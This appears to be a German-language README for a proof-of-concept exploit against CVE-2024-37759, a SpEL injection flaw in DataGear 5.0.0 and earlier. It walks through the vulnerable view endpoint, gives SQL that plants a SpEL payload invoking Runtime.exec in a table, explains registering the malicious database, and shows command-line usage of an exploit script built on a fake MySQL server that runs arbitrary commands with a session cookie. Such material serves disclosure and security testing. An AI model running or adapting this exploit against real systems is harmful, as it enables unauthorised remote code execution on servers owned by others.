
Proof-of-Concept-Exploit für CVE-2024-37759, eine SpEL-Injection-Sicherheitslücke in DataGear 5.0.0 und früher, die Remote-Code-Ausführung über präparierte Datenbanktabellen ermöglicht.
DataGear Version 5.0.0 und früher weist eine Schwachstelle für SpEL-Ausdruckseinschleusung auf, die zu Remote-Code-Ausführung führt.
Wenn Sie die Schnittstelle /data/{schemaId}/{tableName}/view aufrufen und die Datenbanktabelle keinen Primärschlüssel hat, kann ein Angreifer einen bösartigen SpEL-Ausdruck in das data-Feld einschleusen. Wenn die Schaltfläche "view" angeklickt wird, wird der SpEL-Ausdruck ausgeführt.
Um den Angriff durchzuführen, können Sie eine bösartige Datenbanktabelle wie folgt erstellen:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
Melden Sie sich dann an und fügen Sie diese MySQL-Datenbank in der Schema-Hinzufügen-Schnittstelle hinzu: /schema/saveAdd. Klicken Sie anschließend auf die Schaltfläche "view", und der SpEL-Ausdruck wird ausgeführt.
Dieser Exploit ist eine Modifikation von MySQL_Fake_Server. Melden Sie sich zuerst am Portal an und holen Sie sich das Cookie "JSESSIONID". Anschließend können Sie diesen Exploit verwenden, um Befehle automatisch auszuführen.
Das Argument -t gibt die angreifbare Zielseite an, -o gibt die öffentliche IP-Adresse an, unter der der MySQL-Fake-Server erreichbar ist, -p steht für den Fake-Server-Port, -s für den Cookie-Wert von "JSESSIONID" und -c gibt den auszuführenden Befehl an.
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"